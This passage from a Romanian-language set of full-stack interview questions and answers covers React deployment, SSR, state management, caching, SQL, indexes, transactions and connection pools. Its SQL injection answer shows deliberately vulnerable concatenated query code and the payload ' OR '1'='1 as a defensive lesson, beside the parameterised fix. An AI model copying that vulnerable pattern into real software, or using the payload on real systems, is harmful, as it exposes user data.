Răspuns scurt: Build-ul produce fișiere statice în dist/, pe care le servești cu Nginx, un CDN sau Express. Rutele ca /profil există doar în routerul din browser, deci serverul trebuie configurat să întoarcă index.html pentru orice cale care nu e fișier sau API.

npm run build generează dist/index.html și fișierele din dist/assets/ cu hash în nume. Pe server nu există fișierul /profil; ruta e gestionată de React Router după ce aplicația se încarcă. Navigarea internă merge, pentru că folosește History API fără să ceară nimic de la server, dar la reîncărcare sau la deschiderea unui link direct browserul cere /profil de la server, care răspunde 404.

Soluția este un fallback la index.html.

Cu Nginx:

location /api/ {
    proxy_pass http://127.0.0.1:3000;
}
location /assets/ {
    expires 1y;
    add_header Cache-Control "public, immutable";
}
location / {
    try_files $uri $uri/ /index.html;
}

Cu Express (versiunea 5 cere sintaxa /{*splat} pentru wildcard; în Express 4 era *):

JavaScript
app.use('/api', apiRouter);
app.use(express.static('dist', { index: false, maxAge: '1y' }));
app.get('/{*splat}', (req, res) => res.sendFile(path.resolve('dist/index.html')));

Detalii importante:

  • rutele API se declară înaintea fallback-ului, altfel un endpoint greșit primește HTML în loc de un 404 JSON;
  • index.html nu se pune în cache lung, ca utilizatorii să primească noile versiuni după deploy;
  • dacă aplicația nu e la rădăcina domeniului, setezi base în vite.config și basename în router;
  • dezavantaj: rutele inexistente întorc tot 200, deci pagina 404 e doar în interfață.

Ce urmărește intervievatorul: Intervievatorul verifică dacă ai dus vreodată o aplicație React în producție. Mulți candidați nu înțeleg diferența dintre rutele din browser și fișierele de pe server.

54 Mid

Ce este hidratarea în SSR și ce cauzează eroarea „hydration mismatch”?

Răspuns scurt: Hidratarea este pasul în care React preia HTML-ul generat pe server și îi atașează handlerele, făcând pagina interactivă. Mismatch apare când randarea din browser diferă de cea de pe server, de exemplu din cauza datei curente, a lui window sau a valorilor aleatoare.

Fluxul SSR: serverul randează componentele în HTML și îl trimite, utilizatorul vede imediat conținutul, apoi bundle-ul JS se încarcă și apelează hydrateRoot. React rulează din nou componentele în browser și se așteaptă să obțină exact același arbore, ca să poată „lipi” logica de DOM-ul existent.

Cauze frecvente de nepotrivire:

  • new Date().toLocaleString() sau Date.now(): ora serverului diferă de cea a browserului, la fel și fusul orar sau limba;
  • Math.random() ori id-uri generate la randare (pentru id-uri stabile există useId);
  • cod care verifică typeof window !== 'undefined' direct la randare și afișează altceva pe client;
  • date citite din localStorage la randare (tema, coșul de cumpărături);
  • HTML invalid, de exemplu un <div> în interiorul unui <p>, pe care browserul îl corectează altfel decât îl generează React;
  • extensii de browser care modifică DOM-ul înainte de hidratare.

Soluții:

JSX
function LocalTime({ iso }) {
  const [text, setText] = useState(null);
  useEffect(() => setText(new Date(iso).toLocaleTimeString('ro-RO')), [iso]);
  return <time dateTime={iso}>{text ?? '...'}</time>;
}

Conținutul care depinde doar de browser se randează după montare, în useEffect. Datele trimise de pe server se serializează în pagină și se refolosesc pe client, nu se recalculează. Pentru diferențe inevitabile și minore există suppressHydrationWarning pe elementul respectiv.

Costul hidratării contează și el: tot JavaScript-ul paginii trebuie descărcat și executat înainte ca pagina să fie interactivă, motiv pentru care au apărut componentele de server și hidratarea parțială.

Ce urmărește intervievatorul: Se verifică înțelegerea modului în care codul rulează în două medii. Greșeala tipică este să tratezi eroarea doar cu suppressHydrationWarning, fără să înțelegi cauza.

55 Mid

Unde ții starea într-o aplicație React: useState, Context, un store global sau o bibliotecă de server state?

Răspuns scurt: Separă tipurile de stare: datele de la server le gestionezi cu un cache precum TanStack Query, starea de interfață local cu useState, Context pentru valori globale rare (temă, utilizator), iar un store (Zustand, Redux) doar pentru stare de client complexă.

Multe aplicații ajung greu de întreținut pentru că pun tot într-un store global, inclusiv copii ale datelor de la server.

Server state: datele aparțin backendului, iar frontendul are doar o copie care se poate învechi. Problemele sunt cache-ul, invalidarea, reîncărcarea, deduplicarea, paginarea. Le rezolvă biblioteci dedicate (TanStack Query, SWR, RTK Query):

JSX
const { data } = useQuery({ queryKey: ['orders', status], queryFn: () => getOrders(status) });

const mutation = useMutation({
  mutationFn: createOrder,
  onSuccess: () => queryClient.invalidateQueries({ queryKey: ['orders'] })
});

Starea locală de interfață (un modal deschis, valoarea unui input, tabul activ) rămâne în useState sau useReducer, cât mai aproape de componenta care o folosește.

Starea în URL: filtrele, pagina curentă, termenul de căutare. Le pui în query string, ca linkul să poată fi distribuit și ca butonul Back să funcționeze.

Context: pentru valori care se schimbă rar și sunt folosite peste tot (utilizatorul autentificat, tema, limba). Orice schimbare re-randează toți consumatorii, deci nu e potrivit pentru stare care se schimbă des.

Store global (Zustand, Redux Toolkit, Jotai): când starea de client e cu adevărat complexă și partajată, de exemplu un editor, un coș de cumpărături înainte de salvare, un flux în mai mulți pași.

Starea derivată nu se stochează: totalul coșului se calculează din produse, nu se sincronizează cu un efect. Un răspuns bun recunoaște că introducerea unui cache de server state elimină adesea nevoia unui store global.

Ce urmărește intervievatorul: Intervievatorul verifică dacă ai criterii clare pentru alegerea locului stării. Greșeala tipică este duplicarea datelor de la server într-un store global sincronizat manual.

56 Mid

Ce sunt React Server Components și cum schimbă ele granița dintre frontend și backend?

Răspuns scurt: Server Components rulează doar pe server (de exemplu în Next.js App Router), pot citi direct din baza de date și trimit browserului rezultatul randat, fără codul lor JavaScript. Componentele interactive se marchează cu 'use client'.

Introduse stabil în React 19 și folosite în principal prin framework-uri (Next.js App Router), Server Components schimbă modelul: o parte din arbore rulează pe server la cerere sau la build, iar cealaltă parte în browser.

TSX
// app/products/page.tsx - componentă de server (implicit)
import { db } from '@/lib/db';
import AddToCart from './AddToCart';

export default async function ProductsPage() {
  const products = await db.product.findMany({ take: 20 });
  return (
    <ul>
      {products.map((p) => (
        <li key={p.id}>{p.name} <AddToCart id={p.id} /></li>
      ))}
    </ul>
  );
}
TSX
// AddToCart.tsx - componentă de client
'use client';
export default function AddToCart({ id }: { id: number }) {
  const [added, setAdded] = useState(false);
  return <button onClick={() => setAdded(true)}>{added ? 'Adăugat' : 'Adaugă'}</button>;
}

Ce câștigi: cod mai puțin în bundle (bibliotecile de formatare sau de markdown rămân pe server), acces direct la date fără un endpoint intermediar, secrete care nu ajung în browser, streaming cu Suspense. Mutațiile se pot face prin Server Actions ('use server'), funcții apelate din formulare.

Ce trebuie să știi:

  • componentele de server nu pot folosi useState, useEffect sau evenimente;
  • props-urile trimise unei componente de client trebuie să fie serializabile;
  • granița e acum în interiorul aceluiași proiect, deci e mai ușor să scapi accidental date în client; folosește pachetul server-only pentru modulele care nu au voie să ajungă acolo;
  • Server Actions sunt practic endpointuri publice: validezi datele și verifici autorizarea în fiecare.

Ce urmărește intervievatorul: Se verifică dacă ești la curent cu direcția ecosistemului React și dacă îi înțelegi riscurile. Greșeala frecventă este să crezi că o Server Action nu are nevoie de verificări de autorizare.

57 Mid

Ce este un optimistic update și cum îl implementezi corect pentru un buton „Îmi place”?

Răspuns scurt: Actualizezi interfața imediat, ca și cum cererea ar fi reușit, apoi trimiți cererea la server. Dacă serverul răspunde cu eroare, revii la starea anterioară și anunți utilizatorul. Interfața pare instantanee, dar ai nevoie de rollback și de sincronizare finală cu serverul.

Fără optimistic update, utilizatorul apasă și așteaptă răspunsul (sute de milisecunde pe o rețea mobilă) până vede efectul. Pentru acțiuni frecvente, cu șanse mari de reușită, actualizarea imediată îmbunătățește mult experiența.

Cu TanStack Query:

JavaScript
const like = useMutation({
  mutationFn: (postId) => fetch('/api/posts/' + postId + '/like', { method: 'POST' })
    .then((r) => { if (!r.ok) throw new Error(); }),
  onMutate: async (postId) => {
    await queryClient.cancelQueries({ queryKey: ['post', postId] });
    const previous = queryClient.getQueryData(['post', postId]);
    queryClient.setQueryData(['post', postId], (p) => ({ ...p, liked: true, likes: p.likes + 1 }));
    return { previous };
  },
  onError: (err, postId, ctx) => {
    queryClient.setQueryData(['post', postId], ctx.previous);
    toast('Nu am putut salva aprecierea.');
  },
  onSettled: (data, err, postId) =>
    queryClient.invalidateQueries({ queryKey: ['post', postId] })
});

Pașii importanți: anulezi cererile în curs ca să nu-ți suprascrie actualizarea, salvezi starea anterioară pentru rollback și, la final, reîncarci datele reale de la server, care pot diferi (alți utilizatori au apreciat între timp). React 19 oferă și hook-ul useOptimistic.

Pe backend, operația ar trebui să fie idempotentă: PUT /posts/7/like setează aprecierea, DELETE o elimină. Așa, clickurile repetate sau reîncercările nu produc numere greșite.

Când nu folosești optimistic update: plăți, comenzi, operații ireversibile sau cu șanse reale de eșec. Acolo utilizatorul trebuie să vadă confirmarea reală.

Ce urmărește intervievatorul: Intervievatorul verifică gândirea despre experiența utilizatorului împreună cu consistența datelor. Răspunsurile slabe uită rollback-ul sau aplică tehnica la operații critice.

58 Senior

Cum îmbunătățești Core Web Vitals (LCP, INP, CLS) ai unei aplicații full-stack și ce poți face din backend?

Răspuns scurt: LCP măsoară când apare cel mai mare element vizibil, INP cât de repede răspunde pagina la interacțiuni, CLS cât se mișcă layoutul. Backendul ajută prin TTFB mic, caching, CDN și SSR; frontendul prin imagini optimizate, mai puțin JavaScript și spațiu rezervat.

Pragurile „bune” definite de Google sunt LCP sub 2,5 secunde, INP sub 200 ms și CLS sub 0,1, măsurate la percentila 75 a utilizatorilor reali.

Mai întâi măsori: date de teren din Chrome UX Report sau Search Console și din propriul RUM (biblioteca web-vitals trimite valorile la analytics), plus Lighthouse și tabul Performance pentru diagnostic. Datele de laborator de pe un laptop rapid nu reflectă un telefon mediu.

LCP (Largest Contentful Paint):

  • backend: reduci TTFB (timpul până la primul byte), cu query-uri indexate, cache pentru pagini sau fragmente, CDN aproape de utilizator, SSR sau SSG pentru paginile publice, ca elementul principal să fie în HTML-ul inițial;
  • frontend: imaginea principală cu fetchpriority="high", fără loading="lazy" pe ea, formate moderne (AVIF, WebP) și dimensiuni responsive, preîncărcarea fontului critic, CSS critic fără blocaje.

INP (Interaction to Next Paint):

  • mai puțin JavaScript de executat: code splitting pe rute, eliminarea dependențelor grele, componente de server;
  • sarcini lungi sparte în bucăți, actualizări neurgente marcate cu startTransition, liste mari virtualizate;
  • scripturile terților (chat, analytics, reclame) încărcate amânat.

CLS (Cumulative Layout Shift):

  • width și height sau aspect-ratio pe imagini și pe containerele de reclame;
  • skeletonuri de dimensiunea conținutului care se încarcă;
  • font-display și fonturi de rezervă cu metrici apropiate;
  • bannerele nu împing conținutul existent în jos.

Ca senior, propui și un buget de performanță verificat în CI (dimensiunea bundle-ului, scorul Lighthouse), ca regresiile să fie prinse înainte de producție.

Ce urmărește intervievatorul: Se verifică dacă abordezi performanța cap-coadă, pe baza măsurătorilor. Greșeala tipică este optimizarea doar a frontendului, fără a privi TTFB-ul și datele reale ale utilizatorilor.

59 Senior

Folosești SSR cu caching pentru un catalog de produse. Cum te asiguri că utilizatorii nu văd prețuri vechi și că nu primesc pagini personalizate ale altor utilizatori?

Răspuns scurt: Separi conținutul comun, care poate fi pus în cache (ISR, CDN cu s-maxage și stale-while-revalidate), de cel personalizat, care nu intră niciodată în cache partajat. Invalidezi explicit cache-ul la modificarea datelor, prin revalidare la cerere sau purge pe tag, nu doar prin expirare.

Două riscuri opuse: date învechite (prețul s-a schimbat, pagina arată vechiul preț) și scurgeri de date (CDN-ul pune în cache pagina randată pentru utilizatorul A și o servește lui B, cu numele și coșul lui A).

Ce intră în cache partajat: paginile de produs și listele, identice pentru toți vizitatorii. Opțiuni:

  • Cache-Control: public, s-maxage=60, stale-while-revalidate=300 la CDN;
  • ISR în Next.js (export const revalidate = 60) sau cache pe fragmente de date cu tag-uri.

Invalidarea la cerere: când un administrator schimbă prețul, backendul declanșează revalidarea paginii sau a tag-ului (revalidateTag('product-42') în Next.js, purge pe cheie sau tag la CDN). Expirarea după timp rămâne o plasă de siguranță, nu mecanismul principal.

Ce nu intră niciodată în cache partajat:

  • orice răspuns care depinde de cookie-ul de sesiune: Cache-Control: private, no-store;
  • coșul, numele utilizatorului și prețurile personalizate se aduc separat, de pe client sau printr-un fragment nememorat, peste pagina comună („shell” public plus „insule” personalizate);
  • configurezi CDN-ul să nu pună în cache răspunsurile care conțin Set-Cookie sau care au venit cu cookie de autentificare, ori folosești Vary corect.

Unde prețul contează legal sau financiar, adică în coș și la checkout, recalculezi totul pe server din baza de date, indiferent ce a afișat pagina. Pagina din cache poate fi cu un minut în urmă; comanda nu.

Adaugă monitorizare (rata de cache hit, vârsta răspunsurilor) și un test automat care verifică headerele de cache pe paginile autentificate. Scurgerile prin cache apar de obicei după o schimbare de configurare făcută de altcineva.

Ce urmărește intervievatorul: Intervievatorul verifică experiența cu caching în producție și conștiința riscurilor de securitate. Mulți candidați se gândesc doar la viteză și uită de paginile personalizate ajunse în cache-ul comun.

Baze de date și SQL

60 Junior

Când alegi o bază de date relațională (PostgreSQL, MySQL) și când una NoSQL (MongoDB, Redis)?

Răspuns scurt: Relaționala e alegerea implicită pentru date structurate, cu relații, unde contează consistența și tranzacțiile: utilizatori, comenzi, plăți. NoSQL se potrivește pentru documente cu structură variabilă, volume foarte mari cu tipare de acces simple sau nevoi speciale precum cache și cozi.

Relaționale (SQL): tabele cu schemă, relații prin chei străine, JOIN-uri, constrângeri (UNIQUE, NOT NULL, CHECK), tranzacții ACID.

  • Potrivite pentru majoritatea aplicațiilor de business: un magazin are utilizatori, produse, comenzi, linii de comandă, plăți, toate legate între ele.
  • Constrângerile din baza de date te protejează de bug-uri din aplicație (nu poți avea două conturi cu același email, nici o comandă pentru un produs inexistent).
  • PostgreSQL suportă și coloane jsonb, deci poți păstra și date semistructurate fără să schimbi tipul de bază de date.

NoSQL e o categorie largă, nu un singur lucru:

  • documente (MongoDB): obiecte JSON flexibile, bune când datele sunt citite și scrise ca un întreg (un articol cu blocurile lui de conținut, un profil cu setări variabile);
  • cheie-valoare (Redis): extrem de rapid, în memorie, pentru cache, sesiuni, contoare, rate limiting, cozi;
  • wide-column (Cassandra) pentru volume uriașe de scrieri; grafuri (Neo4j) pentru relații complexe între entități.

Criterii de decizie: forma datelor și relațiile dintre ele, nevoia de tranzacții care cuprind mai multe entități, tiparele de interogare (știi dinainte cum vei citi datele sau ai nevoie de rapoarte ad-hoc?), experiența echipei.

Un răspuns matur spune că în multe proiecte folosești ambele: PostgreSQL ca sursă de adevăr și Redis pentru cache și sesiuni. Iar „NoSQL scalează mai bine” nu e un argument suficient pentru o aplicație nouă care nu are încă acele volume.

Ce urmărește intervievatorul: Se verifică dacă alegi baza de date după date și tipare de acces, nu după modă. Greșeala tipică este MongoDB pentru date puternic relaționale, apoi JOIN-uri manuale în cod.

61 Junior

Care e diferența dintre INNER JOIN și LEFT JOIN? Scrie un query care listează toți utilizatorii împreună cu numărul lor de comenzi, inclusiv cei fără comenzi.

Răspuns scurt: INNER JOIN întoarce doar rândurile care au corespondent în ambele tabele. LEFT JOIN păstrează toate rândurile din tabelul din stânga, iar unde nu există corespondent, coloanele din dreapta sunt NULL. Pentru utilizatorii fără comenzi ai nevoie de LEFT JOIN.

Avem users(id, name) și orders(id, user_id, total).

SQL
SELECT u.id, u.name, COUNT(o.id) AS orders_count
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
GROUP BY u.id, u.name
ORDER BY orders_count DESC;

Detalii care fac diferența:

  • COUNT(o.id), nu COUNT(*). Pentru un utilizator fără comenzi, LEFT JOIN produce un rând cu o.id = NULL. COUNT(*) numără rândul și dă 1; COUNT(o.id) ignoră valorile NULL și dă corect 0.
  • Dacă scrii INNER JOIN, utilizatorii fără comenzi dispar complet din rezultat.
  • O capcană frecventă: filtrul pus în WHERE pe tabelul din dreapta transformă LEFT JOIN în INNER JOIN.
SQL
-- greșit: utilizatorii fără comenzi plătite dispar
LEFT JOIN orders o ON o.user_id = u.id
WHERE o.status = 'paid'

-- corect: filtrul în condiția de JOIN
LEFT JOIN orders o ON o.user_id = u.id AND o.status = 'paid'

Rândurile cu o.status = NULL nu trec de WHERE, pentru că o comparație cu NULL nu e adevărată.

Alte tipuri: RIGHT JOIN (simetric, rar folosit), FULL OUTER JOIN (toate rândurile din ambele părți) și CROSS JOIN (produs cartezian). Pentru „utilizatori care nu au nicio comandă” folosești LEFT JOIN ... WHERE o.id IS NULL sau NOT EXISTS. În PostgreSQL, pentru că u.id e cheie primară, poți grupa doar după u.id.

Ce urmărește intervievatorul: Este un exercițiu de SQL aproape nelipsit la interviurile full-stack. Intervievatorul urmărește diferența COUNT(*) față de COUNT(coloană) și capcana filtrului din WHERE.

62 Junior

Ce este SQL injection și cum scrii corect un query cu parametri în Node.js?

Răspuns scurt: SQL injection apare când datele utilizatorului sunt lipite în textul query-ului și ajung să fie interpretate ca SQL. Te protejezi folosind query-uri parametrizate, în care valorile se trimit separat de comandă, astfel încât baza de date le tratează mereu ca date.

Cod vulnerabil:

JavaScript
const email = req.query.email;
const result = await pool.query(
  "SELECT * FROM users WHERE email = '" + email + "'"
);

Dacă cineva trimite ' OR '1'='1, query-ul devine SELECT * FROM users WHERE email = '' OR '1'='1' și întoarce toți utilizatorii. Cu alte valori, se pot citi alte tabele (prin UNION SELECT) sau, în funcție de driver și de permisiuni, se pot executa comenzi suplimentare.

Varianta corectă cu pg (node-postgres):

JavaScript
const result = await pool.query(
  'SELECT id, email, name FROM users WHERE email = $1',
  [req.query.email]
);

Cu mysql2, placeholderul este ?. Valorile pleacă separat de textul SQL, deci nu pot schimba structura comenzii.

Puncte de reținut:

  • escaparea manuală nu e soluția; e ușor de greșit, iar parametrizarea e și mai simplă;
  • ORM-urile și query builderele (Prisma, Knex, Drizzle, Sequelize) parametrizează automat, dar au metode „raw” unde poți reintroduce problema. În Prisma, $queryRaw cu template literal e sigur, dar $queryRawUnsafe cu concatenare nu este;
  • numele de coloane și direcția de sortare nu pot fi parametri. Pentru ?sort=price, folosești o listă de valori permise: const col = { price: 'price', name: 'name' }[req.query.sort] ?? 'id';
  • ca apărare suplimentară, aplicația se conectează cu un utilizator de bază de date cu drepturi minime, nu cu superuserul.

Ce urmărește intervievatorul: Întrebarea verifică o regulă de securitate fundamentală. Candidații uită adesea că sortarea dinamică după coloană e tot un vector de injecție.

63 Junior

Ce este un index într-o bază de date, când îl adaugi și ce costă?

Răspuns scurt: Un index este o structură separată, de obicei un B-tree, care găsește rândurile după o coloană fără citirea întregului tabel. Îl adaugi pe coloanele din WHERE, JOIN și ORDER BY folosite des. Costă spațiu și încetinește scrierile.

Analogia clasică este indexul de la finalul unei cărți: în loc să citești toate paginile, cauți termenul și sari direct la pagină.

SQL
-- fără index: Seq Scan pe tot tabelul orders
SELECT * FROM orders WHERE user_id = 42 ORDER BY created_at DESC LIMIT 20;

CREATE INDEX idx_orders_user_created ON orders (user_id, created_at DESC);

Cum verifici: EXPLAIN ANALYZE în PostgreSQL arată planul. Seq Scan pe un tabel mare pentru un query frecvent este un semnal; după index ar trebui să vezi Index Scan.

Reguli practice:

  • cheia primară și constrângerile UNIQUE creează automat index;
  • cheile străine nu sunt indexate automat în PostgreSQL. Coloana orders.user_id aproape mereu are nevoie de index;
  • ordinea coloanelor într-un index compus contează: indexul pe (user_id, created_at) ajută la WHERE user_id = ? și la WHERE user_id = ? ORDER BY created_at, dar nu la WHERE created_at > ? singur;
  • indexul nu ajută la LIKE '%text' (cu wildcard la început) sau când aplici o funcție pe coloană (WHERE LOWER(email) = ...), decât dacă creezi un index pe expresie;
  • pe coloane cu foarte puține valori distincte (un boolean), indexul simplu e rar util, dar un index parțial (WHERE status = 'pending') poate fi.

Costuri: fiecare index ocupă spațiu și încetinește scrierile. Nu pui index pe fiecare coloană, ci pornești de la query-urile reale și lente, identificate în loguri sau cu pg_stat_statements. Pe tabele mari în producție, în PostgreSQL folosești CREATE INDEX CONCURRENTLY, ca să nu blochezi scrierile.

Ce urmărește intervievatorul: Se verifică dacă poți diagnostica un query lent de bază. Greșelile frecvente sunt ignorarea cheilor străine neindexate și credința că mai multe indexuri înseamnă mereu mai multă viteză.

64 Junior

Ce este o tranzacție și ce înseamnă ACID? Dă un exemplu dintr-un magazin online.

Răspuns scurt: O tranzacție grupează mai multe operații care reușesc toate sau nu se aplică deloc. ACID înseamnă Atomicitate, Consistență, Izolare și Durabilitate. Exemplu: la plasarea unei comenzi, scazi stocul și creezi comanda în aceeași tranzacție, ca să nu rămâi cu stoc scăzut fără comandă.

  • Atomicitate: totul sau nimic. Dacă a treia operație eșuează, primele două sunt anulate (rollback).
  • Consistență: tranzacția duce baza dintr-o stare validă în alta validă, respectând constrângerile (stocul nu devine negativ dacă ai un CHECK (stock >= 0)).
  • Izolare: tranzacțiile concurente nu se încurcă una pe alta; nivelul exact depinde de setare (READ COMMITTED implicit în PostgreSQL, REPEATABLE READ, SERIALIZABLE).
  • Durabilitate: după COMMIT, datele rămân salvate chiar dacă serverul cade imediat după.

Exemplu cu pg:

JavaScript
const client = await pool.connect();
try {
  await client.query('BEGIN');
  const upd = await client.query(
    'UPDATE products SET stock = stock - $1 WHERE id = $2 AND stock >= $1',
    [qty, productId]
  );
  if (upd.rowCount === 0) throw new Error('stoc insuficient');
  await client.query(
    'INSERT INTO orders (user_id, product_id, quantity) VALUES ($1, $2, $3)',
    [userId, productId, qty]
  );
  await client.query('COMMIT');
} catch (err) {
  await client.query('ROLLBACK');
  throw err;
} finally {
  client.release();
}

Două detalii importante: toate query-urile tranzacției trebuie să ruleze pe același client din pool (cu pool.query direct, fiecare apel poate merge pe altă conexiune și tranzacția nu mai funcționează). Iar condiția stock >= $1 din UPDATE face verificarea și scăderea într-un singur pas atomic, evitând situația în care doi clienți citesc stocul 1 simultan și cumpără amândoi ultimul produs.

Ce urmărește intervievatorul: Intervievatorul verifică dacă știi să protejezi operațiile cu mai mulți pași. Greșeala tipică este o tranzacție făcută cu pool.query, care trimite comenzile pe conexiuni diferite.

65 Mid

Ce este problema N+1 și cum apare atât pe backend, cât și între frontend și API?

Răspuns scurt: N+1 apare când aduci o listă cu un query, apoi faci câte un query separat pentru fiecare element. Apare în ORM-uri, în resolverii GraphQL și când frontendul cere detaliile fiecărui element din listă printr-o cerere HTTP separată.

Pe backend:

JavaScript
const orders = await db.query('SELECT * FROM orders LIMIT 50');
for (const o of orders.rows) {
  o.user = (await db.query('SELECT * FROM users WHERE id = $1', [o.user_id])).rows[0];
}
// 51 de query-uri

Fiecare query are latența lui de rețea, deci pe 50 de rânduri timpul se adună rapid. Soluții:

  • un JOIN: SELECT o.*, u.name FROM orders o JOIN users u ON u.id = o.user_id;
  • două query-uri: lista, apoi SELECT * FROM users WHERE id = ANY($1) cu toate id-urile, și combinarea în memorie;
  • în ORM, încărcarea explicită a relațiilor (include în Prisma, with în Drizzle, populate în Mongoose), pentru că încărcarea leneșă face N+1 pe ascuns;
  • în GraphQL, DataLoader, care adună cererile pentru același tip din aceeași iterație a buclei de evenimente și le execută într-un singur query.

Între frontend și API: o pagină afișează 20 de produse, iar fiecare componentă <ProductCard> face propriul fetch('/api/products/' + id + '/rating'). Rezultatul: 21 de cereri HTTP, fiecare cu costul ei de latență și de autentificare. Soluții:

  • endpointul de listă include direct ce trebuie afișat (?include=rating);
  • un endpoint batch (/api/ratings?ids=1,2,3);
  • un BFF sau o componentă de server care compune datele.

Cum o detectezi: loguri de query-uri în dezvoltare, unelte APM care arată numărul de query-uri per cerere, tabul Network. Un test care verifică numărul de query-uri pentru un endpoint important previne revenirea problemei.

Ce urmărește intervievatorul: Se verifică dacă recunoști problema în ambele locuri, nu doar în ORM. Răspunsurile slabe o știu doar ca definiție, fără soluții concrete.

66 Mid

ORM (Prisma, TypeORM), query builder (Knex, Drizzle) sau SQL scris de mână: ce alegi și de ce?

Răspuns scurt: Un ORM aduce productivitate, tipuri și migrări, dar ascunde SQL-ul. Un query builder păstrează controlul, aproape de SQL. SQL-ul scris de mână e cel mai flexibil pentru rapoarte și optimizări. Multe proiecte combină: ORM pentru CRUD, SQL pentru query-uri complexe.

ORM (Prisma, TypeORM, Sequelize, MikroORM):

TypeScript
const orders = await prisma.order.findMany({
  where: { userId, status: 'PAID' },
  include: { items: { include: { product: true } } },
  orderBy: { createdAt: 'desc' },
  take: 20
});
  • Pro: tipuri generate din schemă, autocomplete, migrări, relații ușor de încărcat, parametrizare automată, CRUD foarte rapid de scris.
  • Contra: abstracția ascunde ce se întâmplă (N+1, query-uri mari, SELECT *), funcțiile avansate (window functions, CTE-uri, UPSERT-uri complexe) cer adesea SQL brut, iar unele ORM-uri au un cost propriu de performanță.

Query builder (Knex, Kysely, Drizzle): construiești SQL-ul prin funcții, cu tipuri în cazul Kysely și Drizzle. Știi exact ce query rezultă și păstrezi componibilitatea (adaugi filtre condiționat).

SQL brut (pg, postgres.js): control total, potrivit pentru rapoarte, agregări și query-uri optimizate cu grijă. Dezavantaj: tipurile rezultatelor le scrii sau le generezi separat, iar mapările le faci de mână.

Criterii de alegere:

  • complexitatea query-urilor și cât de des ai nevoie de funcții specifice bazei de date;
  • cât contează tipurile end-to-end într-un proiect TypeScript;
  • experiența echipei cu SQL; un ORM nu scutește pe nimeni de înțelegerea SQL-ului, doar amână momentul în care e nevoie de el.

Indiferent de unealtă, activează logarea query-urilor în dezvoltare și verifică planul de execuție pentru endpointurile importante.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă compromisuri argumentate. Greșeala tipică este afirmația că un ORM înseamnă că nu mai e nevoie să știi SQL.

67 Mid

Ce este un connection pool și ce se întâmplă dacă îl configurezi greșit într-o aplicație Node.js?

Răspuns scurt: Un pool păstrează deschise câteva conexiuni la baza de date și le refolosește între cereri, pentru că o conexiune nouă e lentă. Un pool prea mic face cererile să aștepte; unul prea mare, înmulțit cu instanțele, depășește limita bazei de date.

Deschiderea unei conexiuni la PostgreSQL implică TCP, eventual TLS, autentificare și crearea unui proces nou pe server, deci durează mult față de un query simplu. Un pool rezolvă asta:

JavaScript
import pg from 'pg';
const pool = new pg.Pool({
  connectionString: process.env.DATABASE_URL,
  max: 10,
  idleTimeoutMillis: 30000,
  connectionTimeoutMillis: 5000
});

const { rows } = await pool.query('SELECT * FROM products WHERE id = $1', [id]);

Pool-ul se creează o singură dată, la pornirea aplicației, nu în fiecare handler.

Probleme frecvente:

  • conexiuni neeliberate: dacă iei un client cu pool.connect() pentru o tranzacție și uiți client.release() pe o ramură de eroare, pool-ul se golește treptat, iar aplicația se blochează fără nicio eroare evidentă. De aceea release stă în finally;
  • înmulțirea: 10 conexiuni × 8 procese × 3 servere = 240 de conexiuni, posibil peste max_connections al bazei de date. Calculul se face pentru toate instanțele;
  • serverless (funcții lambda): fiecare instanță își deschide propriul pool, iar la trafic mare baza de date rămâne fără conexiuni. Soluția este un pooler extern, ca PgBouncer, sau proxy-urile oferite de furnizori;
  • pool mare nu înseamnă mai rapid: baza de date are un număr limitat de nuclee, iar peste un anumit prag, mai multe query-uri paralele doar concurează între ele;
  • timeout la obținerea conexiunii: fără connectionTimeoutMillis, cererile pot aștepta la nesfârșit.

Monitorizează numărul de conexiuni active, inactive și în așteptare, plus timpul de așteptare pentru o conexiune.

Ce urmărește intervievatorul: Se verifică experiența cu aplicații care rulează în producție sub încărcare. Mulți candidați nu știu de scurgerile de conexiuni sau de problemele aplicațiilor serverless.

68 Mid

Scrie un query SQL care întoarce primii 5 clienți după valoarea totală a comenzilor plătite în ultimele 30 de zile, cu numărul de comenzi.

Răspuns scurt: Filtrezi comenzile plătite din ultimele 30 de zile, le unești cu clienții, grupezi după client, calculezi SUM și COUNT, sortezi descrescător după sumă și limitezi la 5. Filtrarea se face înainte de grupare, în WHERE, iar condițiile pe agregate în HAVING.

Schema: customers(id, name, email), orders(id, customer_id, status, total, created_at). Varianta PostgreSQL:

SQL
SELECT c.id,
       c.name,
       COUNT(o.id)  AS orders_count,
       SUM(o.total) AS total_spent
FROM orders o
JOIN customers c ON c.id = o.customer_id
WHERE o.status = 'paid'
  AND o.created_at >= now() - interval '30 days'
GROUP BY c.id, c.name
ORDER BY total_spent DESC
LIMIT 5;

Explicații pe care merită să le dai:

  • WHERE vs HAVING: WHERE filtrează rândurile înainte de grupare; HAVING filtrează grupurile după agregare. Dacă ai vrea doar clienții cu cel puțin 3 comenzi, ai adăuga HAVING COUNT(o.id) >= 3.
  • Tipul coloanei de bani: total ar trebui să fie NUMERIC(12,2) sau un întreg în bani (cenți), niciodată float, ca să nu apară erori de rotunjire. Driverul pg întoarce NUMERIC ca string tocmai ca să nu piardă precizie, deci convertești conștient pe backend.
  • Egalități la limită: dacă doi clienți au aceeași sumă pe locul 5, rezultatul nu e determinist. Adaugă un criteriu secundar (ORDER BY total_spent DESC, c.id) sau folosește RANK() dacă vrei să incluzi egalitățile.
  • Performanță: un index pe orders (status, created_at) sau un index parțial WHERE status = 'paid' ajută la filtrare.
  • INNER JOIN e corect aici, pentru că ne interesează doar clienții cu comenzi.

În MySQL, intervalul se scrie NOW() - INTERVAL 30 DAY. Pe backend, query-ul se expune printr-un endpoint de raport protejat de rolul de admin.

Ce urmărește intervievatorul: Este un exercițiu tipic de SQL practic. Intervievatorul urmărește diferența WHERE/HAVING și atenția la tipurile pentru valori monetare.

69 Senior

Trebuie să redenumești o coloană într-un tabel mare, folosit de aplicație în producție. Cum faci migrarea fără downtime?

Răspuns scurt: Folosești tiparul expand and contract: adaugi coloana nouă, scrii în ambele, copiezi datele vechi în loturi, muți citirile pe coloana nouă, apoi, după ce nicio versiune a aplicației nu mai folosește coloana veche, o elimini. Fiecare pas e un deploy separat, compatibil cu versiunea anterioară.

Un simplu ALTER TABLE users RENAME COLUMN name TO full_name face ca versiunea de cod care rulează în acel moment să cadă, pentru că în timpul unui deploy rulează câteva minute ambele versiuni (rolling deploy), iar rollback-ul aplicației nu mai e posibil fără rollback de schemă.

Pașii, fiecare livrat separat:

